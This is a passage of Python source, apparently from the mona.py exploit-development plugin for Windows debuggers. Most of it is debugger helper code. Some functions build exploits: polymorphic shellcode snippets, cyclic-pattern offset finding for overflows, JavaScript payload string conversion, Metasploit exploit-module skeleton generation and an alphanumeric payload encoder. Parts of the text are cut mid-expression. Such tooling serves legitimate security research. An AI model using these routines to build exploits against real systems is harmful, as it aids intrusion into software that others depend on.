= True + addyparts = [] + addypartsint = [] + delimchars = ["-","+","*","/","(",")","&","|",">","<"] + regs = dbg.getRegs() + thispart = "" + for c in str(argaddy): + if c in delimchars: + thispart = thispart.replace(" ","") + if thispart != "": + addyparts.append(thispart) + addyparts.append(c) + thispart = "" + else: + thispart += c + if thispart != "": + addyparts.append(thispart) + + partok = False + for part in addyparts: + cleaned = part + if not part in delimchars: + for x in delimchars: + cleaned = cleaned.replace(x,"") + if cleaned.startswith("[") and cleaned.endswith("]"): + partval,partok = getIntForPart(cleaned.replace("[","").replace("]","")) + if partok: + try: + partval = struct.unpack(' 0: + partval = m + addyok = True + return partval,addyok + + +def getFunctionAddress(modname,funcname): + """ + Returns the addres of the function inside a given module + Relies on EAT data + Returns 0 if nothing found + """ + funcaddy = 0 + m = getModuleObj(modname) + if not m == None: + eatlist = m.getEAT() + for f in eatlist: + if funcname == eatlist[f]: + return f + for f in eatlist: + if funcname.lower() == eatlist[f].lower(): + return f + return funcaddy + +def getFunctionName(addy): + """ + Returns symbol name closest to the specified address + Only works in WinDBG + Returns function name and optional offset + """ + fname = "" + foffset = "" + cmd2run = "ln 0x%08x" % addy + output = dbg.nativeCommand(cmd2run) + for line in output.split("\n"): + if "|" in line: + lineparts = line.split(" ") + partcnt = 0 + for p in lineparts: + if not p == "": + if partcnt == 1: + fname = p + break + partcnt += 1 + if "+" in fname: + fnameparts = fname.split("+") + if len(fnameparts) > 1: + return fnameparts[0],fnameparts[1] + return fname,foffset + + +def printDataArray(data,charsperline=16,prefix=""): + maxlen = len(data) + charcnt = 0 + charlinecnt = 0 + linecnt = 0 + thisline = prefix + lineprefix = "%04d - %04d " % (charcnt,charcnt+charsperline-1) + thisline += lineprefix + while charcnt < maxlen: + thisline += data[charcnt:charcnt+1] + charlinecnt += 1 + charcnt += 1 + if charlinecnt == charsperline or charlinecnt == maxlen: + dbg.log(thisline) + thisline = prefix + lineprefix = "%04d - %04d " % (charcnt,charcnt+charsperline-1) + thisline += lineprefix + charlinecnt = 0 + return None + + +def find_all_copies(tofind,data): + """ + Finds all occurences of a string in a longer string + + Arguments: + tofind - the string to find + data - contains the data to look for all occurences of 'tofind' + + Return: + An array with all locations + """ + position = 0 + positions = [] + searchstringlen = len(tofind) + maxlen = len(data) + while position < maxlen: + position = data.find(tofind,position) + if position == -1: + break + positions.append(position) + position += searchstringlen + return positions + +def getAllStringOffsets(data,minlen,offsetstart = 0): + asciistrings = {} + for match in re.finditer("(([\x20-\x7e]){%d,})" % minlen,data): + thisloc = match.start() + offsetstart + thisend = match.end() + offsetstart + asciistrings[thisloc] = thisend + return asciistrings + +def getAllUnicodeStringOffsets(data,minlen,offsetstart = 0): + unicodestrings = {} + for match in re.finditer("((\x00[\x20-\x7e]){%d,})" % (minlen*2),data): + unicodestrings[offsetstart + match.start()] = (offsetstart + match.end()) + return unicodestrings + + +def stripExtension(fullname): + """ + Removes extension from a filename + (will only remove the last extension) + + Arguments : + fullname - the original string + + Return: + A string, containing the original string without the last extension + """ + nameparts = fullname.split(".") + if len(nameparts) > 1: + cnt = 0 + modname = "" + while cnt < len(nameparts)-1: + modname = modname + nameparts[cnt] + "." + cnt += 1 + return modname.strip(".") + return fullname + + +def toHexByte(n): + """ + Converts a numeric value to a hex byte + + Arguments: + n - the vale to convert (max 255) + + Return: + A string, representing the value in hex (1 byte) + """ + return "%02X" % n + +def toAsciiOnly(inputstr): + return "".join(i for i in inputstr if ord(i)<128 and ord(i) > 31) + +def toAscii(n): + """ + Converts a byte to its ascii equivalent. Null byte = space + + Arguments: + n - A string (2 chars) representing the byte to convert to ascii + + Return: + A string (one character), representing the ascii equivalent + """ + asciiequival = " " + if n.__class__.__name__ == "int": + n = "%02x" % n + try: + if n != "00": + asciiequival=binascii.a2b_hex(n) + else: + asciiequival = " " + except TypeError: + asciiequival=" " + return asciiequival + +def hex2bin(pattern): + """ + Converts a hex string (\\x??\\x??\\x??\\x??) to real hex bytes + + Arguments: + pattern - A string representing the bytes to convert + + Return: + the bytes + """ + pattern = pattern.replace("\\x", "") + pattern = pattern.replace("\"", "") + pattern = pattern.replace("\'", "") + + return ''.join([binascii.a2b_hex(i+j) for i,j in zip(pattern[0::2],pattern[1::2])]) + +def getVariantType(typenr): + + varianttypes = {} + varianttypes[0x0] = "VT_EMPTY" + varianttypes[0x1] = "VT_NULL" + varianttypes[0x2] = "VT_I2" + varianttypes[0x3] = "VT_I4" + varianttypes[0x4] = "VT_R4" + varianttypes[0x5] = "VT_R8" + varianttypes[0x6] = "VT_CY" + varianttypes[0x7] = "VT_DATE" + varianttypes[0x8] = "VT_BSTR" + varianttypes[0x9] = "VT_DISPATCH" + varianttypes[0xA] = "VT_ERROR" + varianttypes[0xB] = "VT_BOOL" + varianttypes[0xC] = "VT_VARIANT" + varianttypes[0xD] = "VT_UNKNOWN" + varianttypes[0xE] = "VT_DECIMAL" + varianttypes[0x10] = "VT_I1" + varianttypes[0x11] = "VT_UI1" + varianttypes[0x12] = "VT_UI2" + varianttypes[0x13] = "VT_UI4" + varianttypes[0x14] = "VT_I8" + varianttypes[0x15] = "VT_UI8" + varianttypes[0x16] = "VT_INT" + varianttypes[0x17] = "VT_UINT" + varianttypes[0x18] = "VT_VOID" + varianttypes[0x19] = "VT_HRESULT" + varianttypes[0x1A] = "VT_PTR" + varianttypes[0x1B] = "VT_SAFEARRAY" + varianttypes[0x1C] = "VT_CARRAY" + varianttypes[0x1D] = "VT_USERDEFINED" + varianttypes[0x1E] = "VT_LPSTR" + varianttypes[0x1F] = "VT_LPWSTR" + varianttypes[0x24] = "VT_RECORD" + varianttypes[0x25] = "VT_INT_PTR" + varianttypes[0x26] = "VT_UINT_PTR" + varianttypes[0x2000] = "VT_ARRAY" + varianttypes[0x4000] = "VT_BYREF" + + if typenr in varianttypes: + return varianttypes[typenr] + else: + return "" + + + +def bin2hex(binbytes): + """ + Converts a binary string to a string of space-separated hexadecimal bytes. + """ + return ' '.join('%02x' % ord(c) for c in binbytes) + +def bin2hexstr(binbytes): + """ + Converts bytes to a string with hex + + Arguments: + binbytes - the input to convert to hex + + Return : + string with hex + """ + return ''.join('\\x%02x' % ord(c) for c in binbytes) + +def str2js(inputstring): + """ + Converts a string to a javascript string + + Arguments: + inputstring - the input string to convert + + Return : + string in javascript format + """ + length = len(inputstring) + if length % 2 == 1: + jsmsg = "Warning : odd size given, js pattern will be truncated to " + str(length - 1) + " bytes, it's better use an even size\n" + if not silent: + dbg.logLines(jsmsg,highlight=1) + toreturn="" + for thismatch in re.compile("..").findall(inputstring): + thisunibyte = "" + for thisbyte in thismatch: + thisunibyte = "%02x" % ord(thisbyte) + thisunibyte + toreturn += "%u" + thisunibyte + return toreturn + + +def readJSONDict(filename): + """ + Retrieve stored dict from JSON file + """ + jsondict = {} + with open(filename, 'rb') as infile: + jsondata = infile.read() + jsondict = json.loads(jsondata) + return jsondict + + +def writeJSONDict(filename, dicttosave): + """ + Write dict as JSON to file + """ + with open(filename, 'wb') as outfile: + json.dump(dicttosave, outfile) + return + + +def readPickleDict(filename): + """ + Retrieve stored dict from file (pickle load) + """ + pdict = {} + pdict = pickle.load( open(filename,"rb")) + return pdict + +def writePickleDict(filename, dicttosave): + """ + Write a dict to file as a pickle + """ + pickle.dump(dicttosave, open(filename, "wb")) + return + + +def opcodesToHex(opcodes): + """ + Converts pairs of chars (opcode bytes) to hex string notation + + Arguments : + opcodes : pairs of chars + + Return : + string with hex + """ + toreturn = [] + opcodes = opcodes.replace(" ","") + + for cnt in range(0, len(opcodes), 2): + thisbyte = opcodes[cnt:cnt+2] + toreturn.append("\\x" + thisbyte) + toreturn = ''.join(toreturn) + return toreturn + + +def rmLeading(input,toremove,toignore=""): + """ + Removes leading characters from an input string + + Arguments: + input - the input string + toremove - the character to remove from the begin of the string + toignore - ignore this character + + Return: + the input string without the leading character(s) + """ + newstring = "" + cnt = 0 + while cnt < len(input): + if input[cnt] != toremove and input[cnt] != toignore: + break + cnt += 1 + newstring = input[cnt:] + return newstring + + +def getVersionInfo(filename): + """Retrieves version and revision numbers from a mona file + + Arguments : filename + + Return : + version - string with version (or empty if not found) + revision - string with revision (or empty if not found) + """ + + file = open(filename,"rb") + content = file.readlines() + file.close() + + + revision = "" + version = "" + for line in content: + if line.startswith("$Revision"): + parts = line.split(" ") + if len(parts) > 1: + revision = parts[1].replace("$","") + if line.startswith("__VERSION__"): + parts = line.split("=") + if len(parts) > 1: + version = parts[1].strip() + return version,revision + + +def toniceHex(data,size): + """ + Converts a series of bytes into a hex string, + newline after 'size' nr of bytes + + Arguments : + data - the bytes to convert + size - the number of bytes to show per linecache + + Return : + a multiline string + """ + flip = 1 + thisline = "\"" + block = "" + + for cnt in xrange(len(data)): + thisline += "\\x%s" % toHexByte(ord(data[cnt])) + if (flip == size) or (cnt == len(data)-1): + thisline += "\"" + flip = 0 + block += thisline + block += "\n" + thisline = "\"" + cnt += 1 + flip += 1 + return block.lower() + +def hexStrToInt(inputstr): + """ + Converts a string with hex bytes to a numeric value + Arguments: + inputstr - A string representing the bytes to convert. Example : 41414141 + + Return: + the numeric value + """ + valtoreturn = 0 + try: + valtoreturn = int(inputstr, 16) + except: + valtoreturn = 0 + return valtoreturn + +def to_int(inputstr): + """ + Converts a string to int, whether it's hex or decimal + Arguments: + inputstr - A string representation of a number. Example: 0xFFFF, 2345 + + Return: + the numeric value + """ + if str(inputstr).lower().startswith("0x"): + return hexStrToInt(inputstr) + else: + return int(inputstr) + +def toSize(toPad,size): + """ + Adds spaces to a string until the string reaches a certain length + + Arguments: + input - A string + size - the destination size of the string + + Return: + the expanded string of length + """ + padded = toPad + " " * (size - len(toPad)) + return padded.ljust(size," ") + + +def toUnicode(input): + """ + Converts a series of bytes to unicode (UTF-16) bytes + + Arguments : + input - the source bytes + + Return: + the unicode expanded version of the input + """ + unicodebytes = "" + # try/except, just in case .encode bails out + try: + unicodebytes = input.encode('UTF-16LE') + except: + inputlst = list(input) + for inputchar in inputlst: + unicodebytes += inputchar + '\x00' + return unicodebytes + +def toJavaScript(input): + """ + Extracts pointers from lines of text + and returns a javascript friendly version + """ + alllines = input.split("\n") + javascriptversion = "" + allbytes = "" + for eachline in alllines: + thisline = eachline.replace("\t","").lower().strip() + if not(thisline.startswith("#")): + if thisline.startswith("0x"): + theptr = thisline.split(",")[0].replace("0x","") + # change order to unescape format + if arch == 32: + ptrstr = "" + byte1 = theptr[0] + theptr[1] + ptrstr = "\\x" + byte1 + byte2 = theptr[2] + theptr[3] + ptrstr = "\\x" + byte2 + ptrstr + try: + byte3 = theptr[4] + theptr[5] + ptrstr = "\\x" + byte3 + ptrstr + except: + pass + try: + byte4 = theptr[6] + theptr[7] + ptrstr = "\\x" + byte4 + ptrstr + except: + pass + allbytes += hex2bin(ptrstr) + if arch == 64: + byte1 = theptr[0] + theptr[1] + byte2 = theptr[2] + theptr[3] + byte3 = theptr[4] + theptr[5] + byte4 = theptr[6] + theptr[7] + byte5 = theptr[8] + theptr[9] + byte6 = theptr[10] + theptr[11] + byte7 = theptr[12] + theptr[13] + byte8 = theptr[14] + theptr[15] + allbytes += hex2bin("\\x" + byte8 + "\\x" + byte7 + "\\x" + byte6 + "\\x" + byte5) + allbytes += hex2bin("\\x" + byte4 + "\\x" + byte3 + "\\x" + byte2 + "\\x" + byte1) + javascriptversion = str2js(allbytes) + return javascriptversion + + +def getSourceDest(instruction): + """ + Determines source and destination register for a given instruction + """ + src = [] + dst = [] + srcp = [] + dstp = [] + srco = [] + dsto = [] + instr = [] + haveboth = False + seensep = False + seeninstr = False + + regs = getAllRegs() + + instructionparts = multiSplit(instruction,[" ",","]) + + if "," in instructionparts: + haveboth = True + + delkeys = ["DWORD","PTR","BYTE"] + + for d in delkeys: + if d in instructionparts: + instructionparts.remove(d) + + + for p in instructionparts: + + regfound = False + for r in regs: + if r.upper() in p.upper() and not "!" in p and not len(instr) == 0: + regfound = True + seeninstr = True + break + + if not regfound: + if not seeninstr and not seensep: + instr.append(p) + + if "," in p: + seensep = True + else: + for r in regs: + if r.upper() in p.upper(): + if not seensep or not haveboth: + dstp.append(p) + if not r in dsto: + dsto.append(r) + break + else: + srcp.append(p) + if not r in srco: + srco.append(r) + break + + #dbg.log("dst: %s" % dsto) + #dbg.log("src: %s" % srco) + src = srcp + dst = dstp + return src,dst + + + +def getAllRegs(): + """ + Return an array with all 32bit, 16bit and 8bit registers + """ + regs = ["EAX","EBX","ECX","EDX","ESP","EBP","ESI","EDI","EIP"] + regs.append("AX") + regs.append("BX") + regs.append("CX") + regs.append("DX") + regs.append("BP") + regs.append("SP") + regs.append("SI") + regs.append("DI") + regs.append("AL") + regs.append("AH") + regs.append("BL") + regs.append("BH") + regs.append("CL") + regs.append("CH") + regs.append("DL") + regs.append("DH") + return regs + +def getSmallerRegs(reg): + if reg == "EAX": + return ["AX","AL","AH"] + if reg == "AX": + return ["AL","AH"] + if reg == "EBX": + return ["BX","BL","BH"] + if reg == "BX": + return ["BL","BH"] + if reg == "ECX": + return ["CX","CL","CH"] + if reg == "CX": + return ["CL","CH"] + if reg == "EDX": + return ["DX","DL","DH"] + if reg == "DX": + return ["DL","DH"] + if reg == "ESP": + return ["SP"] + if reg == "EBP": + return ["BP"] + if reg == "ESI": + return ["SI"] + if reg == "EDI": + return ["DI"] + + return [] + + +def isReg(reg): + """ + Checks if a given string is a valid reg + Argument : + reg - the register to check + + Return: + Boolean + """ + regs = [] + if arch == 32: + regs=["eax","ebx","ecx","edx","esi","edi","ebp","esp"] + if arch == 64: + regs=["rax","rbx","rcx","rdx","rsi","rdi","rbp","rsp", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"] + return str(reg).lower() in regs + + +def isAddress(string): + """ + Check if a string is an address / consists of hex chars only + + Arguments: + string - the string to check + + Return: + Boolean - True if the address string only contains hex bytes + """ + string = string.replace("\\x","") + if len(string) > 16: + return False + for char in string: + if char.upper() not in ["A","B","C","D","E","F","1","2","3","4","5","6","7","8","9","0"]: + return False + return True + +def isHexValue(string): + """ + Check if a string is a hex value / consists of hex chars only (and - ) + + Arguments: + string - the string to check + + Return: + Boolean - True if the address string only contains hex bytes or - sign + """ + string = string.replace("\\x","") + string = string.replace("0x","") + if len(string) > 16: + return False + for char in string: + if char.upper() not in ["A","B","C","D","E","F","1","2","3","4","5","6","7","8","9","0","-"]: + return False + return True + +def Poly_ReturnDW(value): + I = random.randint(1, 3) + if I == 1: + if random.randint(1, 2) == 1: + return dbg.assemble( "SUB EAX, EAX\n ADD EAX, 0x%08x" % value ) + else: + return dbg.assemble( "SUB EAX, EAX\n ADD EAX, -0x%08x" % value ) + if I == 2: + return dbg.assemble( "PUSH 0x%08x\n POP EAX\n" % value ) + if I == 3: + if random.randint(1, 2) == 1: + return dbg.assemble( "XCHG EAX, EDI\n DB 0xBF\n DD 0x%08x\n XCHG EAX, EDI" % value ) + else: + return dbg.assemble( "XCHG EAX, EDI\n MOV EDI, 0x%08x\n XCHG EAX, EDI" % value ) + return + +def Poly_Return0(): + I = random.randint(1, 4) + if I == 1: + return dbg.assemble( "SUB EAX, EAX" ) + if I == 2: + if random.randint(1, 2) == 1: + return dbg.assemble( "PUSH 0\n POP EAX" ) + else: + return dbg.assemble( "DB 0x6A, 0x00\n POP EAX" ) + if I == 3: + return dbg.assemble( "XCHG EAX, EDI\n SUB EDI, EDI\n XCHG EAX, EDI" ) + if I == 4: + return Poly_ReturnDW(0) + return + + +def addrToInt(string): + """ + Convert a textual address to an integer + + Arguments: + string - the address + + Return: + int - the address value + """ + + string = string.replace("\\x","") + return hexStrToInt(string) + +def splitAddress(address): + """ + Splits aa dword/qdword into individual bytes (4 or 8 bytes) + + Arguments: + address - The string to split + + Return: + 4 or 8 bytes + """ + if arch == 32: + byte1 = address >> 24 & 0xFF + byte2 = address >> 16 & 0xFF + byte3 = address >> 8 & 0xFF + byte4 = address & 0xFF + return byte1,byte2,byte3,byte4 + + if arch == 64: + byte1 = address >> 56 & 0xFF + byte2 = address >> 48 & 0xFF + byte3 = address >> 40 & 0xFF + byte4 = address >> 32 & 0xFF + byte5 = address >> 24 & 0xFF + byte6 = address >> 16 & 0xFF + byte7 = address >> 8 & 0xFF + byte8 = address & 0xFF + return byte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8 + + +def bytesInRange(address, range): + """ + Checks if all bytes of an address are in a range + + Arguments: + address - the address to check + range - a range object containing the values all bytes need to comply with + + Return: + a boolean + """ + if arch == 32: + byte1,byte2,byte3,byte4 = splitAddress(address) + + # if the first is a null we keep the address anyway + if not (byte1 == 0 or byte1 in range): + return False + elif not byte2 in range: + return False + elif not byte3 in range: + return False + elif not byte4 in range: + return False + + if arch == 64: + byte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8 = splitAddress(address) + + # if the first is a null we keep the address anyway + if not (byte1 == 0 or byte1 in range): + return False + elif not byte2 in range: + return False + elif not byte3 in range: + return False + elif not byte4 in range: + return False + elif not byte5 in range: + return False + elif not byte6 in range: + return False + elif not byte7 in range: + return False + elif not byte8 in range: + return False + + return True + +def readString(address): + """ + Reads a string from the given address until it reaches a null bytes + + Arguments: + address - the base address (integer value) + + Return: + the string + """ + toreturn = dbg.readString(address) + return toreturn + +def getSegmentEnd(segmentstart): + os = dbg.getOsVersion() + offset = 0x24 + if win7mode: + offset = 0x28 + segmentend = struct.unpack('= 0: + flagtext.append(flags[val]) + flag -= val + if len(flagtext) == 0: + flagtext = "Unknown" + else: + flagtext = ','.join(flagtext) + return flagtext + +def decodeHeapHeader(headeraddress,headersize,key): + # get header and decode first 4 bytes + blockcnt = 0 + fullheaderbytes = "" + decodedheader = "" + fullheaderbytes = "" + while blockcnt < headersize: + header = struct.unpack('= 0: + fullheaderbytes = fullheaderbytes + headerbytes[bytecnt-1] + headerbytes[bytecnt] + bytecnt -= 2 + blockcnt += 4 + return hex2bin(fullheaderbytes) + +def walkSegment(FirstEntry,LastValidEntry,heapbase): + """ + Finds all chunks in a given segment + + Arguments : Start and End of segment, and heapbase + + + Returns a dictionary of MnChunk objects + Key : chunk pointer + + """ + mHeap = MnHeap(heapbase) + mSegment = MnSegment(heapbase,FirstEntry,LastValidEntry) + return mSegment.getChunks() + + +def getStacks(): + """ + Retrieves all stacks from all threads in the current application + + Arguments: + None + + Return: + a dictionary, with key = threadID. Each entry contains an array with base and top of the stack + """ + stacks = {} + global stacklistCache + if len(stacklistCache) > 0: + return stacklistCache + else: + threads = dbg.getAllThreads() + for thread in threads: + teb = thread.getTEB() + tid = thread.getId() + topStack = 0 + baseStack = 0 + if arch == 32: + topStack = struct.unpack(' 1: + subparts = split2.split(input) + subpartsall = "" + if len(subparts) > 1: + cnt = 1 + while cnt < len(subparts): + subpartsall += subparts[cnt] + ":" + cnt +=1 + subsubparts = split3.split(subpartsall) + thisinstruction = subsubparts[0].strip() + return thispointer,thisinstruction + else: + return thispointer,thisinstruction + + +def getNrOfDictElements(thisdict): + """ + Will get the total number of entries in a given dictionary + Argument: the source dictionary + Output : an integer + """ + total = 0 + for dicttype in thisdict: + for dictval in thisdict[dicttype]: + total += 1 + return total + +def getModuleObj(modname): + """ + Will return a module object if the provided module name exists + Will perform a case sensitive search first, + and then a case insensitive search in case nothing was found + """ + # Method 1 + mod = dbg.getModule(modname) + if mod is not None: + return MnModule(modname) + # Method 2 + + suffixes = ["",".exe",".dll"] + allmod = dbg.getAllModules() + for suf in suffixes: + modname_search = modname + suf + + #WinDBG optimized + if __DEBUGGERAPP__ == "WinDBG": + for tmod_s in allmod: + tmod = dbg.getModule(tmod_s) + if not tmod == None: + if tmod.getName() == modname_search: + return MnModule(tmod_s) + imname = dbg.getImageNameForModule(tmod.getName()) + if not imname == None: + if imname == modname_search: + return MnModule(tmod) + for tmod_s in allmod: + tmod = dbg.getModule(tmod_s) + if not tmod == None: + if tmod.getName().lower() == modname_search.lower(): + return MnModule(tmod_s) + imname = dbg.getImageNameForModule(tmod.getName().lower()) + if not imname == None: + if imname.lower() == modname_search.lower(): + return MnModule(tmod) + for tmod_s in allmod: + tmod = dbg.getModule(tmod_s) + if not tmod == None: + if tmod_s.lower() == modname_search.lower(): + return MnModule(tmod_s) + else: + # Immunity + for tmod_s in allmod: + if not tmod_s == None: + mname = tmod_s.getName() + if mname == modname_search: + return MnModule(mname) + for tmod_s in allmod: + if not tmod_s == None: + mname = tmod_s.getName() + if mname.lower() == modname_search.lower(): + return MnModule(mname) + + return None + + + +def getPatternLength(startptr,type="normal",args={}): + """ + Gets length of a cyclic pattern, starting from a given pointer + + Arguments: + startptr - the start pointer (integer value) + type - optional string, indicating type of pattern : + "normal" : normal pattern + "unicode" : unicode pattern + "upper" : uppercase pattern + "lower" : lowercase pattern + """ + patternsize = 0 + endofpattern = False + global silent + oldsilent=silent + silent=True + fullpattern = createPattern(200000,args) + silent=oldsilent + if type == "upper": + fullpattern = fullpattern.upper() + if type == "lower": + fullpattern = fullpattern.lower() + #if type == "unicode": + # fullpattern = toUnicode(fullpattern) + + if type in ["normal","upper","lower","unicode"]: + previousloc = -1 + while not endofpattern and patternsize <= len(fullpattern): + sizemeter=dbg.readMemory(startptr+patternsize,4) + if type == "unicode": + sizemeter=dbg.readMemory(startptr+patternsize,8) + sizemeter = sizemeter.replace('\x00','') + else: + sizemeter=dbg.readMemory(startptr+patternsize,4) + if len(sizemeter) == 4: + thisloc = fullpattern.find(sizemeter) + if thisloc < 0 or thisloc <= previousloc: + endofpattern = True + else: + patternsize += 4 + previousloc = thisloc + else: + return patternsize + #maybe this is not the end yet + patternsize -= 8 + endofpattern = False + while not endofpattern and patternsize <= len(fullpattern): + sizemeter=dbg.readMemory(startptr+patternsize,4) + if type == "unicode": + sizemeter=dbg.readMemory(startptr+patternsize,8) + sizemeter = sizemeter.replace('\x00','') + else: + sizemeter=dbg.readMemory(startptr+patternsize,4) + if fullpattern.find(sizemeter) < 0: + patternsize += 3 + endofpattern = True + else: + patternsize += 1 + if type == "unicode": + patternsize = (patternsize / 2) + 1 + return patternsize + +def getAPointer(modules,criteria,accesslevel): + """ + Gets the first pointer from one of the supplied module that meets a set of criteria + + Arguments: + modules - array with module names + criteria - dictionary describing the criteria the pointer needs to comply with + accesslevel - the required access level + + Return: + a pointer (integer value) or 0 if nothing was found + """ + pointer = 0 + dbg.getMemoryPages() + for a in dbg.MemoryPages.keys(): + page_start = a + page_size = dbg.MemoryPages[a].getSize() + page_end = a + page_size + #page in one of the modules ? + if meetsAccessLevel(dbg.MemoryPages[a],accesslevel): + pageptr = MnPointer(a) + thismodulename = pageptr.belongsTo() + if thismodulename != "" and thismodulename in modules: + thismod = MnModule(thismodulename) + start = thismod.moduleBase + end = thismod.moduleTop + random.seed() + for cnt in xrange(page_size+1): + #randomize the value + theoffset = random.randint(0,page_size) + thispointer = MnPointer(page_start + theoffset) + if meetsCriteria(thispointer,criteria): + return page_start + theoffset + return pointer + + +def haveRepetition(string, pos): + first = string[pos] + MIN_REPETITION = 3 + if len(string) - pos > MIN_REPETITION: + count = 1 + while ( count < MIN_REPETITION and string[pos+count] == first): + count += 1 + if count >= MIN_REPETITION: + return True + return False + + +def findAllPaths(graph,start_vertex,end_vertex,path=[]): + path = path + [start_vertex] + if start_vertex == end_vertex: + return [path] + if start_vertex not in graph: + return [] + paths = [] + for vertex in graph[start_vertex]: + if vertex not in path: + extended_paths = findAllPaths(graph,vertex,end_vertex,path) + for p in extended_paths: + paths.append(p) + return paths + + + +def isAsciiString(data): + """ + Check if a given string only contains ascii characters + """ + return all((ord(c) >= 32 and ord(c) <= 127) for c in data) + +def isAscii(b): + """ + Check if a given hex byte is ascii or not + + Argument : the byte + Returns : Boolean + """ + return b == 0x0a or b == 0x0d or (b >= 0x20 and b <= 0x7e) + +def isAscii2(b): + """ + Check if a given hex byte is ascii or not, will not flag newline or carriage return as ascii + + Argument : the byte + Returns : Boolean + """ + return b >= 0x20 and b <= 0x7e + +def isHexString(input): + """ + Checks if all characters in a string are hex (0->9, a->f, A->F) + Alias for isAddress() + """ + return isAddress(input) + +def extract_chunks(iterable, size): + """ Retrieves chunks of the given :size from the :iterable """ + fill = object() + gen = itertools.izip_longest(fillvalue=fill, *([iter(iterable)] * size)) + return (tuple(x for x in chunk if x != fill) for chunk in gen) + +def rrange(x, y = 0): + """ Creates a reversed range (from x - 1 down to y). + + Example: + >>> rrange(10, 0) # => [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] + """ + return range(x - 1, y - 1, -1) + +def getSkeletonHeader(exploittype,portnr,extension,url,badchars='\x00\x0a\x0d'): + + originalauthor = "insert_name_of_person_who_discovered_the_vulnerability" + name = "insert name for the exploit" + cve = "insert CVE number here" + + if url == "": + url = "" + else: + try: + # connect to url & get author + app description + u = urllib.urlretrieve(url) + # extract title + fh = open(u[0],'r') + contents = fh.readlines() + fh.close() + for line in contents: + if line.find(' -1: + titleline = line.split('>') + if len(titleline) > 1: + name = titleline[1].split('<')[0].replace("\"","").replace("'","").strip() + break + for line in contents: + if line.find('Author:') > -1 and line.find('td style') > -1: + authorline = line.split("Author:") + if len(authorline) > 1: + originalauthor = authorline[1].split('<')[0].replace("\"","").replace("'","").strip() + break + for line in contents: + if line.find('CVE:') > -1 and line.find('td style') > -1: + cveline = line.split("CVE:") + if len(cveline) > 1: + tcveparts = cveline[1].split('>') + if len(tcveparts) > 1: + tcve = tcveparts[1].split('<')[0].replace("\"","").replace("'","").strip() + if tcve.upper().strip() != "N//A": + cve = tcve + break + except: + dbg.log(" ** Unable to download %s" % url,highlight=1) + url = "" + + monaConfig = MnConfig() + thisauthor = monaConfig.get("author") + if thisauthor == "": + thisauthor = "" + + skeletonheader = "##\n" + skeletonheader += "# This module requires Metasploit: http://metasploit.com/download\n" + skeletonheader += "# Current source: https://github.com/rapid7/metasploit-framework\n" + skeletonheader += "##\n\n" + skeletonheader += "require 'msf/core'\n\n" + skeletonheader += "class MetasploitModule < Msf::Exploit::Remote\n" + skeletonheader += " #Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking\n" + skeletonheader += " #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking\n" + skeletonheader += " Rank = NormalRanking\n\n" + + if exploittype == "fileformat": + skeletonheader += " include Msf::Exploit::FILEFORMAT\n" + if exploittype == "network client (tcp)": + skeletonheader += " include Msf::Exploit::Remote::Tcp\n" + if exploittype == "network client (udp)": + skeletonheader += " include Msf::Exploit::Remote::Udp\n" + + if cve.strip() == "": + cve = "" + + skeletoninit = " def initialize(info = {})\n" + skeletoninit += " super(update_info(info,\n" + skeletoninit += " 'Name' => '" + name + "',\n" + skeletoninit += " 'Description' => %q{\n" + skeletoninit += " Provide information about the vulnerability / explain as good as you can\n" + skeletoninit += " Make sure to keep each line less than 100 columns wide\n" + skeletoninit += " },\n" + skeletoninit += " 'License' => MSF_LICENSE,\n" + skeletoninit += " 'Author' =>\n" + skeletoninit += " [\n" + skeletoninit += " '" + originalauthor + "', # Original discovery\n" + skeletoninit += " '" + thisauthor + "', # MSF Module\n" + skeletoninit += " ],\n" + skeletoninit += " 'References' =>\n" + skeletoninit += " [\n" + skeletoninit += " [ 'OSVDB', '' ],\n" + skeletoninit += " [ 'CVE', '" + cve + "' ],\n" + skeletoninit += " [ 'URL', '" + url + "' ]\n" + skeletoninit += " ],\n" + skeletoninit += " 'DefaultOptions' =>\n" + skeletoninit += " {\n" + skeletoninit += " 'ExitFunction' => 'process', #none/process/thread/seh\n" + skeletoninit += " #'InitialAutoRunScript' => 'migrate -f',\n" + skeletoninit += " },\n" + skeletoninit += " 'Platform' => 'win',\n" + skeletoninit += " 'Payload' =>\n" + skeletoninit += " {\n" + skeletoninit += " 'BadChars' => \"" + bin2hexstr(badchars) + "\", # \n" + skeletoninit += " 'DisableNops' => true,\n" + skeletoninit += " },\n" + + skeletoninit2 = " 'Privileged' => false,\n" + skeletoninit2 += " #Correct Date Format: \"M D Y\"\n" + skeletoninit2 += " #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec\n" + skeletoninit2 += " 'DisclosureDate' => 'MONTH DAY YEAR',\n" + skeletoninit2 += " 'DefaultTarget' => 0))\n" + + if exploittype.find("network") > -1: + skeletoninit2 += "\n register_options([Opt::RPORT(" + str(portnr) + ")], self.class)\n" + if exploittype.find("fileformat") > -1: + skeletoninit2 += "\n register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf" + extension + "']),], self.class)\n" + skeletoninit2 += "\n end\n\n" + + return skeletonheader,skeletoninit,skeletoninit2 + +def archValue(x86, x64): + if arch == 32: + return x86 + elif arch == 64: + return x64 + +def readPtrSizeBytes(ptr): + if arch == 32: + return struct.unpack(' offset_category_index: + break + curr_category = c + if curr_category != "win10": + offset = offsets[name][c] + else: + win10offsets = offsets[name][c] + for o in sorted(win10offsets): + if o > build: + break + curr_build = o + offset = win10offsets[o] + + return archValue(offset[0], offset[1]) + +#---------------------------------------# +# Class to call commands & parse args # +#---------------------------------------# + +class MnCommand: + """ + Class to call commands, show usage and parse arguments + """ + def __init__(self, name, description, usage, parseProc, alias=""): + self.name = name + self.description = description + self.usage = usage + self.parseProc = parseProc + self.alias = alias + + +#---------------------------------------# +# Class to encode bytes # +#---------------------------------------# + +class MnEncoder: + """ + Class to encode bytes + """ + + def __init__(self,bytestoencode): + self.origbytestoencode = bytestoencode + self.bytestoencode = bytestoencode + + def encodeAlphaNum(self,badchars = []): + encodedbytes = {} + if not silent: + dbg.log("[+] Using alphanum encoder") + dbg.log("[+] Received %d bytes to encode" % len(self.origbytestoencode)) + dbg.log("[+] Nr of bad chars: %d" % len(badchars)) + # first, check if there are no bad char 